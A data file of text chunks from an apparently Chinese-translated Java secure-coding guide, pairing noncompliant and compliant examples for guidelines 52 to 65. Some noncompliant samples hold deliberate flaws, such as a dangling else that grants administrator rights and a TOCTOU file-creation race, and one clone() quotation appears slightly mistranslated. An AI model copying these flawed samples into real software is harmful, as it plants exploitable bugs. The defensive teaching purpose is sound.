    {"text": "class Varargs { private static void displayManyBooleans(boolean... bool) { System.out.print(\"Number of arguments: \" + bool.length + \", Contents: \"); for (boolean b : bool) { System.out.print(\"[\" + b + \"]\"); } } private static void displayTwoBooleans(boolean bool1, boolean bool2) { System.out.println(\"Overloaded method invoked\"); System.out.println(\"Contents: [\"+ bool1 + \"], [\" + bool2 + \"]\"); } public static void main(String[] args) { displayManyBooleans(true, false); } } 适用性 不当的重载可变参数方法会增加代码的歧义性，这会损害代码的可读性。"},
    {"text": "public void foo() { } public void foo(int a1) { } public void foo(int a1, int a2, int... rest) { } 当重载可变参数方法时，一定要避免调用方法时出现歧义，在上面的代码中，每个方法的声明都使用了不同个数的固定参数，这避免了在调用方法时出现歧义。"},
    {"text": "参考文献 [Bloch 2008] Item 42, “Use Varargs Judiciously” [Steinberg 2008] Using the Varargs Language Feature [Oracle 2011b] Varargs 指南52：要避免使用带内错误指示器 带内错误指示器（in-band error indicator）指的是方法的返回值既可以是有效的返回值，又可以是发生了异常的非法返回值。"},
    {"text": "忽略这类错误检查不仅违反了《The CERT ® Oracle ® Secure Coding Standard for Java™》[Long 2012]的“EXP00-J.Do not ignore values returned by methods”，还会带来很大的副作用，因为随后的代码中，可能会把无效值当作有效值进行运算。"},
    {"text": "static final int MAX = 21; static final int MAX_READ = MAX - 1; static final char TERMINATOR = '\\\\'; int read; char [] chBuff = new char[MAX]; BufferedReader buffRdr; // Set up buffRdr read = buffRdr.read(chBuff, 0, MAX_READ); chBuff[read] = TERMINATOR; 上面的代码中，如果输入缓冲区一开始就在文件的末尾，那么read()方法将会返回-1，然后，代码会尝试把终结字符 TERMINATOR 放到数组的-1 位置上，这会导致代码抛出ArrayIndexOutOfBounds Exception异常。"},
    {"text": "合规解决方案（封装） 下面的合规解决方案定义了一个readSafe()方法，该方法封装了原来的read()方法，如果原read()方法返回-1（即检测到文件的末尾）则抛出异常。"},
    {"text": "public static int readSafe(BufferedReader buffer, char[] cbuf, int off, int len) throws IOException { int read = buffer.read(cbuf, off, len); if (read == -1) { throw new EOFException(); } else { return read; } } // ... BufferedReader buffRdr; // Set up buffRdr try { read = readSafe(buffRdr, chBuff, 0, MAX_READ); chBuff[read] = TERMINATOR; } catch (EOFException eof) { chBuff[0] = TERMINATOR; } 适用性 使用带内错误指示器可能会使得程序员忽略检查程序的错误码，或者使用错误的返回值进行后续的计算，这会导致程序行为异常。"},
    {"text": "参考文献 [API 2013] Class Reader [JLS 2013] Chapter 11, “Exceptions” [Long 2012] EXP00-J.Do not ignore values returned by methods 指南53：不要在条件表达式中进行赋值 在条件表达式中使用赋值运算符是程序员经常会犯的错，这个错误会导致程序出现异常行为，赋值运算符不应该出现在下面这些关键字的上下文中。"},
    {"text": "public void f(boolean a, boolean b) { if (a = b) { /* ... */ } } 尽管程序员的意图可能是比较已经赋值的两个变量a和b是否相等，但是上面代码中的情况却经常发生，因为程序员经常把赋值运算符=和相等比较运算符==弄错。"},
    {"text": "public void f(boolean a, boolean b) { if ((a = b) == true) { /* ... */ } } 合规解决方案 把赋值语句作为一个独立的语句来强化赋值运算的意图，然后再使用if条件判断语句，会让程序更清晰。 public void f(boolean a, boolean b) { a = b; if (a) { /* ... */ } } 违规代码示例 下面的违规代码示例中，&&运算符的一个操作数中有赋值表达式。 public void f(boolean a, boolean b, boolean flag) { while ( (a = b) && flag ) { /* ... */ } } 因为&&不是一个比较运算符，所以赋值语句在这儿不是一个合法的操作数，再提一次，这类错误经常出现，因为程序员经常错把赋值运算符=和相等比较运算符==弄混。"},
    {"text": "合规解决方案 当程序原本的意图不是把b赋值给a，而是检查a是否等于b时，下面的合规解决方案只在a等于b且flag为true的时候，才执行条件语句块。"},
    {"text": "public void f(boolean a, boolean b, boolean flag) { while ( (a == b) && flag ) { /* ... */ } } 适用性 在控制条件表达式中使用赋值运算符经常是由于程序员失误导致的，这会导致程序行为异常。 本指南有一个例外，当赋值语句不是控制表达式时（即赋值语句是一个子表达式），允许赋值运算符出现在控制表达式中，下面的合规解决方案就演示了这样一个例子： public void assignNocontrol(BufferedReader reader) throws IOException { String line; while ((line = reader.readLine()) != null) { // ... Work with line } } 参考文献 [Hatton 1995] §2.7.2, “Errors of Omission and Addition” 指南54：请使用大括号把if、for或while代码体括起来 即使if、for和while语句的代码体只有一条语句，也应该用大括号括起来，这会提升代码的一致性和可读性。"},
    {"text": "更为重要的是，当为单条语句的代码体添加更多的语句时，很容易忘记添加大括号，因为代码的缩进会给程序员一种代码结构上的强烈暗示（或者说误导）。"},
    {"text": "int login; if (invalid_login()) login = 0; else login = 1; 程序的行为和预期的一致，但是，后续的维护者可能会在if代码块中添加一个调试语句或者一个其他的逻辑处理语句，但却忘记把代码块用大括号括起来。 int login; if (invalid_login()) login = 0; else // Debug line added below System.out.println(\"Login is valid\\n\"); // The next line is always executed login = 1; 合规解决方案 下面的合规解决方案在if和else代码体只有一条语句的情况下，也使用了大括号。 int login; if (invalid_login()) { login = 0; } else { login = 1; } 违规代码示例 下面的违规代码示例在一个if语句中嵌套了另一个if语句，并且所有的if和else代码体都没有用大括号括起来。"},
    {"text": "int privileges; if (invalid_login()) if (allow_guests()) privileges = GUEST; else privileges = ADMINISTRATOR; 代码中的缩进可能会让程序员以为用户一旦有效登录就会获得管理员权限，但是，实际上else语句和内嵌的那个if语句是配套的。 int privileges; if (invalid_login()) if (allow_guests()) privileges = GUEST; else privileges = ADMINISTRATOR; 所以，上面的缺陷会导致未授权用户获取到管理员权限。"},
    {"text": "int privileges; if (invalid_login()) { if (allow_guests()) { privileges = GUEST; } } else { privileges = ADMINISTRATOR; } 适用性 未能把if、for或while代码体用大括号括起来，会导致代码容易出错，增加后续的维护成本。"},
    {"text": "参考文献 [GNU 2013] §5.3, “Clean Use of C Constructs” 指南55：不要直接在if、for或while条件语句后面加分号 不要在if、for或while条件语句后面加分号，因为出现这种代码基本上都是程序员的失误，这个失误会导致程序行为异常。 违规代码示例 下面的违规代码示例直接在if条件语句后面加了一个分号。 if (a == b); { /* ... */ } 上面的代码，不管if条件语句中的条件是否满足，语句后的代码块都会执行。 合规解决方案 下面的合规解决方案删掉了if条件语句后面的分号，修改之后的代码确保了只有在if条件语句的条件被满足的情况下，才执行后面的代码。 if (a == b) { /* ... */ } 适用性 直接在if、for或while条件语句后面加分号，会导致程序行为异常。"},
    {"text": "参考文献 [Hatton 1995] §2.7.2, “Errors of Omission and Addition” 指南56：在每一个case分支的代码块中加上break语句 switch代码块由一些case分支再加上一个可选的（强烈推荐使用的）default分支构成。 每个case分支下的代码块的最后都应跟一个break语句，这个break语句的作用是直接跳出switch语句块。 如果case分支下的代码块中没有break语句，那么接下来会执行下一个case分支。 因为在case分支下的代码块中使用break语句是可选的，没有也不会有任何的编译器警告。"},
    {"text": "违规代码示例 在下面的违规代码示例中，card变量值为11的case分支下的代码块中没有break语句，代码会继续执行card值为12的那个case语句。 int card = 11; switch (card) { /* ... */ case 11: System.out.println(\"Jack\"); case 12: System.out.println(\"Queen\"); break; case 13: System.out.println(\"King\"); break; default: System.out.println(\"Invalid Card\"); break; } 合规解决方案 下面的合规解决方案就让每个case分支下的代码块都以break语句结尾。 int card = 11; switch (card) { /* ... */ case 11: System.out.println(\"Jack\"); break; case 12: System.out.println(\"Queen\"); break; case 13: System.out.println(\"King\"); break; default: System.out.println(\"Invalid Card\"); break; } 适用性 未能给case分支下代码块添加break语句会导致程序出现错误的控制流程。"},
    {"text": "break语句的作用是让代码的执行流程跳出switch语句块，另外，一些错误的行为也会导致代码的执行流程跳出switch语句块，因此，不管有没有break语句，代码的执行都有可能跳出switch语句块，继续执行switch语句块后面的语句。 无论如何，作为一种好的编码风格，switch语句的最后一个case分支下的代码块也应该以break语句收尾[Allen 2000]。 当然也有例外情况，当多个case分支需要执行同样的代码时，除了最后一个case分支，其他的都可以省略掉break语句，类似的，当一个case分支，是另外一个或几个分支的前置语句时，该case分支语句也可以省略 break 语句。"},
    {"text": "例如： int card = 11; int value; // Cases 11,12,13 fall through to the same case switch (card) { // Processing for this case requires a prefix // of the actions for the following three case 10: do_something(card); // Intentional fall-through // These three cases are treated identically case 11: // Break not required case 12: // Break not required case 13: value = 10; break; // Break required default: // Handle error condition } 最后，当一个case分支中，有return 语句、throw语句，或者是类似于System.exit()的非return方法时，同样可以省略掉break语句。"},
    {"text": "参考文献 [JLS 2013] §14.11, “The switch Statement” 指南57：避免不当的计算循环计数器 在使用while或for循环的时候，如果编码不当，有可能导致循环永久地执行下去，或者让循环计数器达到其边界值再折回到循环最终值（参见《The CERT ® Oracle ® Secure Coding Standard for Java™》 [Long 2012]的“NUM00-J. Detect or prevent integer overflow”。"},
    {"text": "如果循环每次对循环计算器的增加或减少超过一步，且根据循环计数器等于某个值来结束循环，那么就可能导致前面提到的问题。 在这种情况下，循环计算器可能跨过结束循环的那个值，这可能导致循环一直执行下去或者达到循环计数器的边界再折回结束循环的最终值。 此外，一些很天真的循环结束条件也会导致这个问题，例如，循环的结束条件为计数器大于Integer.Max_VALUE 或者小于Integer.MIN_VALUE。"},
    {"text": "等i的值达到计数器可以表达的最大值（Integer.MAX_VALUE）时，会折回到倒数第二小的数（Integer.MIN_VALUE+1），然后继续加2，直到-1、1，然后周而复始，永不停歇。"},
    {"text": "for (i = 1; i != 10; i += 5) { // ... } 循环计数器i的值依次为1、6、11，越过了10，然后i就达到了最大值，然后又折回到最靠近最小值的位置，在一路往正数方向行进时，i的值依次为2、7和12，这次还是跳过了10。 然后再次达到正数最大值，再经过三次这样的折回到最小值，再往上到0、5、10，最后结束循环。"},
    {"text": "for (i = 1; i == 11; i += 2) { // ... } 但是，当存在多个语句改变循环计数器的值时，上面的解决方案就会显得比较脆弱，更好的解决方案是使用数字比较操作符（<、<=、>或>=）来结束循环。 for (i = 1; i <= 10; i += 2) { // ... } 后面这个解决方案对迭代结束条件的处理更加健壮。"},
    {"text": "违规代码示例 如果在一个循环表达式中，使用了小于等于Integer.MAX_VALUE或者大于等于Integer. MIN_VALUE来作为循环继续执行的条件，那么该循环将永远都不会停止。"},
    {"text": "下面的违规代码示例中的循环就永远不会停止，因为i永远不会大于Integer.MAX_VALUE。 for (i = 1; i <= Integer.MAX_VALUE; i++) { // ... } 合规解决方案 下面的合规解决方案会在循环计算器i的值为Integer.MAX_VALUE时，终止循环。 for (i = 1; i < Integer.MAX_VALUE; i++) { // ... } 如果程序员的意图是迭代每一个大于0的整数值i，包括Integer.MAX_VALUE，那么代码可以实现如下： i = 0; do { i++; // ... } while (i != Integer.MAX_VALUE); 违规代码示例 下面的违规代码示例将循环计数器i初始化为0，每一次迭代，计数器i会加2，简单来说就是遍历所有的正偶数。 循环期望在计数器i大于Integer.MAX_VALUE-1时终止。 但是当前代码中，循环没能终止，因为计数器i在达到大于Integer.MAX_VALUE-1的条件前，已经折回到最小值了。 for (i = 0; i <= Integer.MAX_VALUE - 1; i += 2) { // ... } 合规解决方案 下面的合规解决方案使用了当计数器i大于Integer.MAX_VALUE减去每次迭代的增加步数作为循环终止的条件。 for (i = 0; i <= Integer.MAX_VALUE - 2; i += 2) { // ... } 适用性 循环中使用不正确的终止条件可能导致无限循环、性能低下、错误的结果等问题。"},
    {"text": "参考文献 [JLS 2013] §15.20.1, “Numerical Comparison Operators<,<=,>,and>=” [Long 2012] NUM00-J.Detect or prevent integer overflow 指南58：使用括号表示操作的优先级 程序员经常在运算符的优先级上犯错，因为很多低优先级的运算符的优先级并不那么直观，比如&、|、<<和>>。"},
    {"text": "尽管《The CERT ® Oracle ® Secure Coding Standard for Java™》[Long 2012]的“EXP05-J.Do not write more than once to the same variable within an expression”中反对使用括号来指定代码的求值顺序，但是这仅适用于那些有副作用的表达式。"},
    {"text": "违规代码示例 下面违规代码示例中期望的执行顺序是，首先求变量x与变量MASK的按位逻辑与运算&之后的结果值，然后再把结果值与变量OFFSET相加。 public static final int MASK = 1337; public static final int OFFSET = -1337; public static int computeCode(int x) { return x & MASK + OFFSET; } 但是，根据运算符的优先级，计算的表达式会被解析为下面这个样子： x & (MASK + OFFSET) 最后，表达式的求值顺序如下，最终结果为0： x & (1337 - 1337) 合规解决方案 下面的合规解决方案使用括号来确保表达式的求值顺序和期望的顺序一致。 public static final int MASK = 1337; public static final int OFFSET = -1337; public static int computeCode(int x) { return (x & MASK) + OFFSET; } 违规代码示例 下面的违规代码示例期望把值\"0\"或者\"1\"添加到字符串\"value=\"的后面。"},
    {"text": "public class PrintValue { public static void main(String[] args) { String s = null; // Prints \"1\" System.out.println(\"value=\" + s == null ? 0 : 1); } } 但是，在表达式中，运算符的优先级规则导致表达式会被解析为(\"value=\" + s)== null ? 0 : 1。"},
    {"text": "public class PrintValue { public static void main(String[] args) { String s = null; // Prints \"value=0\" as expected System.out.println(\"value=\" + (s == null ? 0 : 1)); } } 适用性 在代码中未考虑运算符的优先级可能会导致表达式的求值顺序错误，最终导致程序的行为异常。"},
    {"text": "在数学计算表达式中，如果期望的求值顺序和数学运算符的优先级一致，那么可以不使用括号来标明运算优先级。 比如下面这个表达式： x + y * z 基于数学上的约定，乘法优先于加法，因此像下面那样使用括号是多余的： x + (y * z) 尽管检测出所有使用了低优先级运算符却没有使用括号的表达式非常简单，但是在大部分情况下，都无法确定表达式的正确顺序。"},
    {"text": "参考文献 [ESA 2005] Rule 65,Use parentheses to explicitly indicate the order of execution of numerical operators [Long 2012] EXP05-J.Do not write more than once to the same variable within an expression [Tutorials 2013] Expressions,Statements,and Blocks 指南59：不要对文件的创建做任何假设 尽管通常情况下，创建一个文件仅仅只需一次方法调用，但是这一次的方法调用却有多个安全方面的问题需要考虑。"},
    {"text": "然后，在JDK 1.4的新的I/O包java.nio（参见New I/O APIs [Oracle 2010b]）中又发布了一些更加综合性的文件处理方法。 接着， JDK 1.7的New I/O 2特性的java.io.file包发布了更多的综合性文件处理方法。"},
    {"text": "在《The CERT ® Oracle ® Secure Coding Standard for Java™》[Long 2012]的“FIO01-J.Create files with appropriate access permissions”中解释了为什么需要给新创建的文件设定权限。"},
    {"text": "public void createFile(String filename) throws FileNotFoundException{ OutputStream out = new FileOutputStream(filename); // Work with file } 如果文件在打开前就已经存在，那么之前的内容将会被这一次写入的内容覆盖。 违规代码示例（TOCTOU） 下面的违规代码示例使用了java.io.File.createNewFile()方法来创建一个新文件，试图通过这种方式来避免出现覆盖已有文件的内容的情况，因为，如果指定文件名的文件已存在，那么createNewFile()方法将会返回一个false值，从而避免了破坏已有文件的内容。 public void createFile(String filename) throws FileNotFoundException{ OutputStream out = new FileOutputStream(filename, true); if (!new File(filename).createNewFile()) { // File cannot be created...handle error } else { out = new FileOutputStream(filename); // Work with file } } 遗憾的是，上面的解决方案会导致一个 TOCTOU 竞态条件，攻击者可能在创建文件之后、打开文件之前修改文件系统，替换新创建的文件，这会导致打开的文件和创建的文件是两个完全不同的文件。 合规解决方案（Files） 下面的合规解决方案使用了java.nio.file.Files.newOutputStream()方法自动创建文件，如果文件已存在，则代码会抛出一个异常。 public void createFile(String filename) throws FileNotFoundException{ try (OutputStream out = new BufferedOutputStream( Files.newOutputStream(Paths.get(filename), StandardOpenOption.CREATE_NEW))) { // Work with out } catch (IOException x) { // File not writable...Handle error } } 适用性 程序打开文件时，如果可以确定打开的文件是已存在的文件还是新创建的文件，那么就可以保证程序操作的是期望的文件，从而避免了文件操作影响到其他文件。 参考文献 [API 2013] Class java.io.File Class java.nio.file.Files [Long 2012] FIO01-J.Create files with appropriate access permissions [Oracle 2010b] New I/O APIs 指南60：做浮点运算前把整数转换为浮点数 将整数计算得到的结果值，赋给一个float型变量，这样的操作一不留神就可能导致信息丢失。"},
    {"text": "更多其他信息参见《The CERT ® Oracle ® Secure Coding Standard for Java™》[Long 2012]的“NUM13-J. Avoid loss of precision when converting primitive integers to floating-point”。"},
    {"text": "short a = 533; int b = 6789; long c = 4664382371590123456L; float d = a / 7; // d is 76.0 (truncated) double e = b / 30; // e is 226.0 (truncated) double f = c * 2; // f is -9.1179793305293046E18 // because of integer overflow 代码中的整型计算结果，有时会被截短到最接近的整数值，有时会导致整数溢出。"},
    {"text": "合规解决方案（浮点数文字） 下面的合规解决方案确保了乘法运算、除法运算是基于浮点数值执行的，避免了前面违规代码示例中的截短、溢出问题。"},
    {"text": "short a = 533; int b = 6789; long c = 4664382371590123456L; float d = a / 7.0f; // d is 76.14286 double e = b / 30.; // e is 226.3 double f = (double)c * 2; // f is 9.328764743180247E18 另外一个合规解决方案是在做数学运算前，先把整数值存储到浮点类型的变量中，这样同样可以消除截短和溢出错误。 short a = 533; int b = 6789; long c = 4664382371590123456L; float d = a; double e = b; double f = c; d /= 7; // d is 76.14286 e /= 30; // e is 226.3 f *= 2; // f is 9.328764743180247E18 这和第一个合规解决方案的原理是一样的，这个实践确保了每个操作中，至少有一个操作数是浮点数，继而所有的操作都将在浮点数上执行。"},
    {"text": "int a = 60070; int b = 57750; double value = Math.ceil(a/b); 根据 Java 的数字提升规则，两个整数做除法运算得到的结果值会被截短为整数（代码中为 1），然后对这个结果值做Math.ceil()运算，最后，结果值被提升为double型。"},
    {"text": "合规解决方案 下面的合规解决方案在做除法运算前，先把其中一个操作数转换成了double型。 int a = 60070; int b = 57750; double value = Math.ceil(a/((double) b)); 把操作数转换为double型之后，除法运算会自动提升为针对double型数值的除法。"},
    {"text": "适用性 整数值与浮点数值之间的不恰当转换可能导致不可预知的结果，尤其是精度损失问题。 在某些情况下，这些不可预知的结果可能涉及整数溢出或者一些其他的异常状态。"},
    {"text": "当程序员是有意使用整数计算特性时，先做整数计算，然后把结果值赋值给浮点数变量也是可接受的，例如，使用整数计算的截短特性直接获取到整数值结果，省去了调用 floor()方法的过程，但是这类代码一定要使用文档清晰地记录这个行为是有意为之。"},
    {"text": "参考文献 [JLS 2013] §5.1.2, “Widening Primitive Conversion” [Long 2012] NUM13-J. Avoid loss of precision when converting primitive integers to floating-point NUM00-J. Detect or prevent integer overflow 指南61：确保对象的clone()方法中有调用super.clone() 克隆一个非常量类的子类时，如果子类中的 clone()方法没有调用super.clone()，那么会克隆出类型错误的对象。"},
    {"text": "在Java API [API 2013]中对clone()方法的描述如下： 按照约定，应该通过调用super.clone方法得到返回的对象。 如果一个类或者其超类（除 Object 外）违背了这条约定，将会导致 x.clone(). getClass() == x.getClass()。 违规代码示例 在下面的违规代码示例中，Base类中的clone()方法中没有调用super.clone()。 class Base implements Cloneable { public Object clone() throws CloneNotSupportedException { return new Base(); } protected void doLogic() { System.out.println(\"Superclass doLogic\"); } } class Derived extends Base { public Object clone() throws CloneNotSupportedException { return super.clone(); } protected void doLogic() { System.out.println(\"Subclass doLogic\"); } public static void main(String[] args) { Derived dev = new Derived(); try { Base devClone = (Base)dev.clone(); // Has type Base // instead of Derived devClone.doLogic(); // Prints \"Superclass doLogic\" // instead of \"Subclass doLogic\" } catch (CloneNotSupportedException e) { /* ... */ } } } 因此，devCloned对象的类型是Base而不是Derived，而doLogic()也错误地调用了Base类的doLogic()方法。 合规解决方案 下面的合规解决方案在Base类的 clone()方法中添加了对 super.clone()方法的调用。 class Base implements Cloneable { public Object clone() throws CloneNotSupportedException { return super.clone(); } protected void doLogic() { System.out.println(\"Superclass doLogic\"); } } class Derived extends Base { public Object clone() throws CloneNotSupportedException { return super.clone(); } protected void doLogic() { System.out.println(\"Subclass doLogic\"); } public static void main(String[] args) { Derived dev = new Derived(); try { // Has type Derived, as expected Base devClone = (Base)dev.clone(); devClone.doLogic(); // Prints \"Subclass doLogic\" // as expected } catch (CloneNotSupportedException e) { /* ... */ } } } 适用性 未能调用super.clone()方法可能导致克隆出类型错误的对象。"},
    {"text": "参考文献 [API 2013] Class Object 指南62：保持注释的一致性和可读性 在代码中混合使用传统的块注释（以/*起始，以*/结尾）和行注释（从//起到行末）会导致代码充满迷惑性和误导性，这样的代码可能出现各种各样的错误。"},
    {"text": "// */ /* Comment, not syntax error */ f = g/**//h; /* Equivalent to f = g / h; */ /*//*/ l(); /* Equivalent to l(); */ m = n//**/o + p; /* Equivalent to m = n + p; */ a = b //*divisor:*/c + d; /* Equivalent to a = b + d; */ 合规解决方案 使用风格一致的代码注释。"},
    {"text": "// Nice simple comment int i; // Counter 违规代码示例 还有一些其他的应该避免的注释误用。 下面的违规代码示例使用了字符序列\\*开始注释，但是却忘记了使用字符序列*/结束注释，这会导致对 security_critical_method()方法的调用得不到执行。"},
    {"text": "/* Comment with end comment marker unintentionally omitted security_critical_method(); /* Some other comment */ 有些代码编辑器有语法高亮的功能，甚至可能还具备格式化代码的能力。"},
    {"text": "if (false) { /* Use of critical security method no * longer necessary, for now */ /* NOTREACHED */ security_critical_method(); /* Some other comment */ } 指南63中还描述了一些特殊情况。"},
    {"text": "适用性 无法区分会被执行的代码和不会被执行的代码，会导致非常严重的程序错误和漏洞，包括拒绝服务，不正常的程序终止以及影响数据完整性等问题。"},
    {"text": "通过使用交互式开发环境（Interactive Development Environment，IDE）或者编辑器中的字体、颜色或者其他机制来区分开代码和注释可以部分解决这个问题，但是，这个问题始终还是可能会出现，例如，在复查一些白纸黑字打印的源代码时。"},
    {"text": "参考文献 [JLS 2013] §3.7, “Comments” 指南63：检测并移除冗余的代码和值 冗余的代码和值指的是那些对程序逻辑不起任何作用的代码和值，它们可能会以不可达代码的形式出现。"},
    {"text": "永远都不会执行的代码被称为 死代码 （dead code），一般来说，出现死代码，就表示程序中有逻辑错误，这个逻辑错误可能来自对代码的修改，也可能来自对程序运行环境的修改。"},
    {"text": "大部分情况下，编译器可以优化掉程序中的死代吗，但是，为了提升代码的可读性，保证代码的逻辑正确，所有的死代码都应该被识别出来，加以理解然后删除掉。"},
    {"text": "还有一些代码，会被执行，但是对程序逻辑不产生任何影响，或者产生了非期望的影响。 大部分情况下，这种代码的出现原因是编码错误，这会导致程序出现不可预知的行为。"},
    {"text": "public int func(boolean condition) { int x = 0; if (condition) { x = foo(); /* Process x */ return x; } /* ... */ if (x != 0) { /* This code is never executed */ } return x; } 在第二个if语句中，(x ! = 0)的值永远都不可能为true，因为唯一可能改变x的值的代码块中有一个return语句。"},
    {"text": "int func(boolean condition) { int x = 0; if (condition) { x = foo(); /* Process x */ } /* ... */ if (x != 0) { /* This code is now executed */ } return 0; } 违规代码示例（死代码） 下面的违规代码示例使用length()方法的返回值来限制string_loop()方法中的迭代次数。"},
    {"text": "public int string_loop(String str) { for (int i=0; i < str.length(); i++) { /* ... */ if (i == str.length()) { /* This code is never executed */ } } return 0; } 合规解决方案 如何修复死代码取决于程序员的目的。"},
    {"text": "假设目的是针对str的最后一个字符做一些特殊处理，那么if语句的条件可以修改为：判断当前迭代的下标i和str的最后一个字符的下标是否相等。"},
    {"text": "public int string_loop(String str) { for (int i=0; i < str.length(); i++) { /* ... */ if (i == str.length()-1) { /* This code is now executed */ } } return 0; } 违规代码示例（无意义的代码） 在下面的违规代码示例中，变量s和变量t之间的比较无任何意义。 String s; String t; // ... s.equals(t); 出现这类代码的原因可能是程序员原本想根据比较的结果做一些处理，但是却忘记做这件事了。"},
    {"text": "String s; String t; // ... if (s.equals(t)) { System.out.println(\"Strings equal\"); } else { System.out.println(\"Strings unequal\"); } 违规代码示例（无用值） 在下面的违规代码示例中，变量p2被赋值为bar()的返回值，但是赋值之后，该值从未被使用。 int p1 = foo(); int p2 = bar(); if (baz()) { return p1; } else { p2 = p1; } return p2; 合规解决方案 根据程序员的不同目的，上一个违规代码示例可以从多个方向上来修复。"},
    {"text": "int p1 = foo(); bar(); /* Removable if bar() lacks side effects */ baz(); /* Removable if baz() lacks side effects */ return p1; 适用性 死代码的出现可能暗示代码中有逻辑错误，这会导致程序出现非期望的行为。"},
    {"text": "参考文献 [Fortify 2013] Code Quality:Dead Code [Coverity 2007] Coverity Prevent™ User’s Manual(3.3.0) 指南64：尽量保证逻辑完备 当程序员未考虑到所有可能的数据状态时可能导致软件漏洞。"},
    {"text": "违规代码示例（if条件链） 下面的违规代码示例中没有处理a既不等于b又不等于c的情况，在当前情况下，这样处理可能是正确的，但是，如果a获得一个非预期的值，那么程序就会因为未考虑到这种情况出现逻辑错误。 if (a == b) { /* ... */ } else if (a == c) { /* ... */ } 合规解决方案（if条件链） 下面的合规解决方案显式检查了所有的非预期条件，并做出了相应的处理。 if (a == b) { /* ... */ } else if (a == c) { /* ... */ } else { /* Handle error condition */ } 违规代码示例（switch） 在下面的违规代码示例中，尽管x可能被假定为一个表达一位二进制码（0或者1）的变量，但是之前的代码中可能给x赋了一个错误的值，越早发现并处理掉这种不一致状态，就越容易发现代码中的逻辑错误。 switch (x) { case 0: foo(); break; case 1: bar(); break; } 合规解决方案（switch） 下面的合规解决方案提供了default分支来处理除了0和1之外的所有其他情况。 switch (x) { case 0: foo(); break; case 1: bar(); break; default: /* Handle error */ break; } 违规代码示例（Zune 30） 下面的违规代码示例是从微软的Zune 30媒体播放器的C代码转换过来的，这部分代码导致很多的Zune 30播放器在太平洋时间2008年12月30日的午夜被锁住。"},
    {"text": "final static int ORIGIN_YEAR = 1980; /* Number of days since January 1, 1980 */ public void convertDays(long days){ int year = ORIGIN_YEAR; /* ... */ while (days > 365) { if (IsLeapYear(year)) { if (days > 366) { days -= 366; year += 1; } } else { days -= 365; year += 1; } } } 播放器中MC13783 PMC RTC模块的实时时钟例程使用了原本的C语言版本的ConvertDays()方法，该方法接受一个long型参数days，该参数表示从1980年1月1日到当前时间的天数。"},
    {"text": "final static int ORIGIN_YEAR = 1980; /* Number of days since January 1, 1980 */ public void convertDays(long days){ int year = ORIGIN_YEAR; /* ... */ int daysThisYear = (IsLeapYear(year) ? 366 : 365); while (days > daysThisYear) { days -= daysThisYear; year += 1; daysThisYear = (IsLeapYear(year) ? 366 : 365); } } 注意，该解决方案中的代码仅仅是为了说明问题，微软对这个问题的修复方式可能不同。"},
    {"text": "参考文献 [Hatton 1995] §2.7.2, “Errors of Omission and Addition” [Viega 2005] §5.2.17, “Failure to Account for Default Case in Switch” [Zadegan 2009] A Lesson on Infinite Loops 指南65：避免有歧义的重载或者误导性的重载 方法与构造函数的重载特性允许在类中声明名字相同、参数不同的方法或构造函数。"},
    {"text": "编译器在每次调用时都会去探查和调用参数相匹配的方法，尽管如此，在某些场景下，自动装箱（autoboxing）和泛型等新的语言特性，可能会导致各个重载方法之间的边界变得模糊。"},
    {"text": "一个与这种情况相关的陷阱就是给每个重载的方法赋予不同的语义，而在定义不同的语义时又使用了相同的参数、不同的顺序，这就形成了一个恶性循环。"},
    {"text": "试想，假设有两个重载的getDistance()方法，其中一个表示从出发点到当前位置的距离，另一个（使用不同顺序的参数的）方法表示从当前位置到终点的剩余距离，调用者在调用前如果不仔细查看文档，可能很难发现这两个方法的不同。"},
    {"text": "class Con { public Con(int i, String s) { // Initialization Sequence #1 } public Con(String s, int i) { // Initialization Sequence #2 } public Con(Integer i, String s) { // Initialization Sequence #3 } } 如果未仔细思考就传递参数给这些构造函数可能会产生混乱，因为这些构造函数的参数个数相同，类型也很相似。"},
    {"text": "public static Con createCon1(int i, String s) { /* Initialization Sequence #1 */ } public static Con createCon2(String s, int i) { /* Initialization Sequence #2 */ } public static Con createCon3(Integer i, String s) { /* Initialization Sequence #3 */ } 违规代码示例（方法） 在下面的违规代码示例中，OverLoader类中有一个HashMap实例，另外还有2个重载的 getData()方法，其中一个getData()方法会把参数当作键（key）从HashMap中取出其对应的值，另一个则是把参数当作值（value）从map中获取数据。 class OverLoader extends HashMap<Integer,Integer> { HashMap<Integer,Integer> hm; public OverLoader() { hm = new HashMap<Integer, Integer>(); // SSN records hm.put(1, 111990000); hm.put(2, 222990000); hm.put(3, 333990000); } public String getData(Integer i) { // Overloading sequence #1 String s = get(i).toString(); // Get a particular record return (s.substring(0, 3) + \"-\" + s.substring(3, 5) + \"-\" + s.substring(5, 9)); } public Integer getData(int i) { // Overloading sequence #2 return hm.get(i); // Get record at position 'i' } // Checks whether the ssn exists @Override public Integer get(Object data) { // SecurityManagerCheck() for (Map.Entry<Integer, Integer> entry : hm.entrySet()) { if (entry.getValue().equals(data)) { return entry.getValue(); // Exists } } return null; } public static void main(String[] args) { OverLoader bo = new OverLoader(); // Get record at index '3' System.out.println(bo.getData(3)); // Get record containing data '111990000' System.out.println(bo.getData((Integer)111990000)); } } 因为使用了重载机制，所以两个 getData()方法的签名只有参数的静态类型不一样。 OverLoader类继承自java.util.HashMap类，并重写了HashMap类的get()方法为该方法添加了检查功能。"},
    {"text": "这个实现会让一些用户非常困惑，因为他们认为这两个 getData()方法的功能应该是类似的，而不是根据参数的类型决定是根据参数指定的下标获取记录还是根据参数指定的键值获取记录。"},
    {"text": "尽管客户端程序员最终还是可以推断出不同方法的行为，但是其他情况可能会被忽略，比方说Josh Bloch [Josh Bloch 2008]提到的List接口： List<E>接口中有两个重载的移除方法：remove(E)和remove(int)。 在JDK 1.5发布之前，List接口是使用remove(Object)方法来达到“泛型”的效果的，而非带“泛型”的方法 remove(E)。 两个remove()方法对应的参数类型分别为Object和int，它们原本从本质上来说是不同的，但是在JDK发布了泛型和自动装箱机制之后，这两个类型就从本质上开始趋同。"},
    {"text": "当一个新的重载方法比之前的方法在参数类型上更加精确时，就可能发生这种情况，例如，如果早前版本的OverLoader类只提供一个getData(Integer)方法，那么这个时候，客户端即使在传递参数时直接传递 int类型的参数，也可以调用到该方法，因为int参数可以自动装箱为Integer类型。 随后，在加入 getData(int)方法时，编译器会把所有以 int 类型参数调用getData()的方法，解析到新加的getData(int)方法上。"},
    {"text": "public Integer getDataByIndex(int i) { // No longer overloaded } public String getDataByValue(Integer i) { // No longer overloaded } 适用性 模棱两可或者说混乱地使用重载特性会导致非预期的结果。"},
